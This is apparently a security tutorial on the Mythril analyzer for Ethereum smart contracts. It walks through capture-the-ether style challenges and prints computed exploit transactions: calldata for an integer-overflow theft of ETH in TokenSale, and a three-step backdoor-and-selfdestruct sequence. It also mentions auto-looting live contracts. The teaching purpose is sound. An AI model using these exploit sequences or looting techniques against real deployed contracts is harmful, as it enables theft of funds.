_In this article I explain how to use_ [_Mythril_](https://github.com/ConsenSys/mythril-classic) _to find and exploit security bugs in Ethereum smart contracts. The articles will cover basic principles and advanced techniques, such as testing security properties, proving invariants, analyzing multi-contract systems and auto-looting ETH from vulnerable contracts on the Ethereum network._

[Mythril](https://github.com/ConsenSys/mythril-classic) — also known as the “Swiss army knife of smart contract security” — has lots of bells and whistles, but to use it effectively you need a basic understanding of the analysis techniques used. This article provides an overview of the most important concepts.

The first key step we usually recommend to new users is [installing Mythril](https://github.com/ConsenSys/mythril-classic/wiki/Installation-and-Setup). You should do this also in case you to want follow the examples in this article (if run into trouble installing, you can ask for help in our [Discord support channel](https://discord.gg/E3YrVtG)).

After successful installation the `myth` command line tool will be available on your system. Make sure you have version 0.19.7 or higher:

$ myth -V

Mythril version v0.19.7

The basic command for executing security analysis is `-x / --fire-lasers`:

$ `myth -x <Solidity file>   $ myth --rpc RPC_OPTION -xa <contract address>`

This command runs a generic analysis that works reasonably well in most situations. Before we get ahead of ourselves though, let’s have a look at what is going on behind the scenes.

#### Multi-Transactional Symbolic Execution

Mythril checks for security issues by running a custom implementation of the Ethereum Virtual Machine. The analysis process involves the following steps:

1.  Obtain the contract bytecode by compiling a Solidity file or loading it from an Ethereum node;
2.  Initialize the contract account state either by running the creation bytecode (if source code was provided) or by retrieving data from an Ethereum node on-demand;
3.  [Symbolically execute](https://en.wikipedia.org/wiki/Symbolic_execution) the code to explore all possible program states over _n_ transactions, whereby _n_ defaults to two but can be set to an arbitrary number;
4.  Whenever an undesirable states is encountered (such as “the contract kills itself”), logically prove or disprove the reachability of those states given certain assumptions (e.g. “given the right inputs _anybody_ can kill the contract“).

When find a vulnerable state, we can compute the input transactions required to reach that state. This is useful not only to to determine the root cause of an issue, but also for [crafting exploits](https://medium.com/@muellerberndt/automating-smart-contract-exploitation-and-looting-d43e9740b41c) should one be so inclined.

#### Basic Usage

With that out of the way, let’s try Mythril on a smart contract exploitation challenge from [CaptureTheEther](https://capturetheether.com). [TokenSale](https://capturetheether.com/challenges/math/token-sale/) is a simple smart contract that allows users to buy and sell tokens for the once-in-a-lifetime bargain price of 1 ETH. Here is the source code:

Working with code is easier than working with on-chain contract instances because that way Mythril can show you the the code responsible for each bug it finds. Copy/paste the code into a file called `tokensale.sol` and run the following command:

$ myth -mether\_thief -x tokensale.sol

Note the use of the `-m` argument which accepts a comma-separated list of [analysis modules](https://github.com/ConsenSys/mythril-classic/tree/develop/mythril/analysis/modules) to execute. Let’s have a closer look at a particularly useful module called _Ether Thief_.

**Looting that precious ETH**

As its name subtly foreshadows, the _Ether Thief_ module checks for transaction sequences that extract ETH from the contract. Specifically, it looks for states that fulfill the following conditions:

1.  A non-zero amount of ETH can be withdrawn from the contract;
2.  The sender withdrawing the ETH is _not_ the contract creator;
3.  The amount of ETH withdrawn can be greater than the total amount previously paid into the contract by the same sender.

This is a pretty low-false-positive way of of spotting contracts that “leak” ETH to anonymous attackers. Let’s now unleash this module on the TokenSale contract:

$ myth -mether\_thief -x tokensale.sol

\==== Ether thief ====  
SWC ID: 105  
Type: Warning  
Contract: TokenSaleChallenge  
Function name: sell(uint256)  
PC address: 693

Users other than the contract creator can withdraw ETH from the contract account without previously having sent any ETH to it. This is likely to be vulnerability.

\--------------------

In file: tokensale.sol:25  
msg.sender.transfer(numTokens \* PRICE\_PER\_TOKEN)

\--------------------

Myhril claims that to have found an issue in the withdrawal function but the root cause is not immediately apparent. If you haven’t spotted the bug yet, take another good look at the code and try to figure out the attack.

**Concretizing Transactions (a.k.a. Auto-Exploit-Generator)**

As you have probably deduced there’s an integer overflow issue at play here. To exploit the issue you need to pass a very specific value to the `buy()` function. Don’t fire up your calculator just yet though, there’s some good news: Mythril can compute the correct input transactions for you automagically. All you need to do is add the `--verbose-report` flag:

$ myth -mether\_thief -x tokensale.sol --verbose-report

\==== Ether thief ====  
SWC ID: 105  
Type: Warning  
Contract: TokenSaleChallenge  
Function name: sell(uint256)  
PC address: 693

Users other than the contract creator can withdraw ETH from the contract account without previously having sent any ETH to it. This is likely to be vulnerability.

\--------------------

In file: tokensale.sol:25  
msg.sender.transfer(numTokens \* PRICE\_PER\_TOKEN)

\--------------------  
DEBUGGING INFORMATION:

Transaction Sequence:

Transaction Sequence: {  
'2': {'calldata': '0xd96a094a20', 'call\_value': '0x0', 'caller': '0xaaaaaaaabbbbbbbbbcccccccddddddddeeeeeeee'},   
'5': {'calldata': '0xe4849b32084031', 'call\_value': '0x0', 'caller': '0xaaaaaaaabbbbbbbbbcccccccddddddddeeeeeeee'}  
}

The `DEBUGGING INFORMATION` section contains the two transactions computed by _Ether Thief_. A look at the `call_value` fields shows that no ETH is transferred _to_ the contract by the sender. Let’s have a closer look at the calldata:

![](https://hackernoon.com/hn-images/1*S_rMJqyAc1sm0IUdJob5yw.png)

The first transaction contains the first four bytes of the function signature hash of `buy(uint256 num_tokens)` as well as an innocent-looking extra byte — `0x20` — which represents the leftmost byte of `uint256 num_tokens` (the remaining zeroes don’t have to be sent explicitly as the EVM will interpret uninitialized calldata as `0x00`). The value passed to `num_tokens` works out to:

`buy(0x2000000000000000000000000000000000000000000000000000000000000000)`

Let’s look at the effect this input has on the `require` statement on line 16:

require(msg.value == numTokens \* PRICE\_PER\_TOKEN);

`PRICE_PER_TOKEN` is set to 1 Ether which corresponds to 1e18 wei. As it turns out, multiplying this amount with the value Mythril has computed for `numTokens` results in an integer overflow. More specifically, the result of the binary multiplication `uint256(1e18) * uint256(numTokens)` is zero — note that there are other input values that could be used here.

The `require` statement therefore passes and a large amount of tokens is credited on the sender’s account even though they’re not sending any ETH.

In transaction two, the illegitimate tokens are then sold in return for ETH (call to `sell(uint256)`). Because Mythril represents the contract balance symbolically it outputs a large random value for `numTokens`. In reality, the attacker would use a lower value corresponding to the actual number of ETH in the account.

If you haven’t done so already, now is the time to fire up [Metamask](https://metamask.io) and [give the challenge a shot](https://capturetheether.com/challenges/math/token-sale/).

**Configuring transaction count**

An important concept to know when using Mythril is _transaction count_. This variable specifies the number of transactions to be executed symbolically. The default value of two is sufficient for detecting many common bugs such as the integer overflows, uninitialized storage variables and misnamed constructors. However, a search that goes two transactions deep will _not_ discover bugs that need three or more transactions to reach.

Unfortunately, because each transaction can have multiple valid final states, the space of states to explore grows exponentially with the number of transactions. Symbolically executing three transactions therefore takes significantly longer than executing two (we’re currently working on a way of optimizing the number of transactions executed within a predefined timeframe — I’ll update this article as soon as this becomes available).

To demonstrate this let’s have a look at another example. See if you can spot the security issue (beware of spoilers in the contract name):

![](https://hackernoon.com/hn-images/1*Cw6jeig-DOa9ru_Y4y-Bfw.png)

This contract has a “backdoor” that allows anyone knowing the secret password to become the owner (but as we know, private state variables aren’t really secret — the only difference is that the solc doesn’t generate an accessor function for them).

Another popular Mythril module is _Suicide_. This module checks for transactions that, if sent by anyone other than the contract creator, will “accidentally” kill the contract. Running the S_uicide_ module on the code above returns the following output:

$ myth -msuicide -x killme.sol

The analysis was completed successfully. No issues were detected.

Mythril appears to overlook the vulnerability. The reason for this is that a minimum of three transactions is needed to kill the contract: The sender must provide the correct password to `activatePassword(bytes11 password),` call `pwnContract()` to become the owner, and finally call `kill()` to trigger the suicide.

Let’s see what happens if we increase the number of transactions executed using the `-t / --transaction-count` argument:

$ myth -t3 -msuicide --verbose-report -x killme.sol

\==== Unchecked SUICIDE ====  
SWC ID: 106  
Type: Warning  
Contract: Killme  
Function name: kill()  
PC address: 422  
Estimated Gas Usage: 630 - 1055

A reachable SUICIDE instruction was detected. The remaining Ether is sent to the caller's address.

\--------------------

In file: killme.sol:21

selfdestruct(msg.sender);

\--------------------

DEBUGGING INFORMATION:

Transaction Sequence: {  
'2': {'calldata': '0xa6e0e35e63727970746f6b69747479', 'call\_value': '0x0', 'caller': '0x0000000000000000000000000000000000000001'},   
'3': {'calldata': '0x2eb00c1b', 'call\_value': '0x0', 'caller': '0x0000000000000000000000000000000000000001'},   
'4': {'calldata': '0x41c0e1b5', 'call\_value': '0x0', 'caller': '0x0000000000000000000000000000000000000001'}}

This time the issue was detected and we get a sequence of three transactions. Inspecting the calldata more closely reveals the names and arguments of the functions being called:

![](https://hackernoon.com/hn-images/1*WYLXcyONJ1_2K8hEjULScw.png)

### TL;DR

Mythril’s _Ether Thief_ and _Suicide_ modules detect security bugs that allow attackers to steal from, and even kill, poor innocent smart contracts. When the `--verbose-report` flag is added, Mythril will output the input transaction(s) needed to trigger each bug detected. Increasing _transaction count_ helps Mythril detect more bugs but also increases execution time exponentially.

### About Mythril and MythX

[Mythril](https://github.com/ConsenSys/mythril) is a free and open-source smart contract security analyzer. It uses symbolic execution to detect a variety of security vulnerabilities.

[MythX](https://mythx.io) is a cloud-based smart contract security service that seamlessly integrates into smart contract development environments and build pipelines. It bundles multiple bleeding-edge security analysis processes into an easy-to-use API that allows anyone to create purpose-built smart contract security tools. MythX is compatible with Ethereum, Tron, Vechain, Quorum, Roostock and other EVM-based platforms.

TRON

VeChain

Chain

ConsenSys

Too Long; Didn't Read

Build JavaScript blockchain apps easily with Lisk

Practical Smart Contract Security Analysis and Exploitation— Part 1

Too Long; Didn't Read

Company Mentioned

Coins Mentioned

@muellerberndt

RELATED STORIES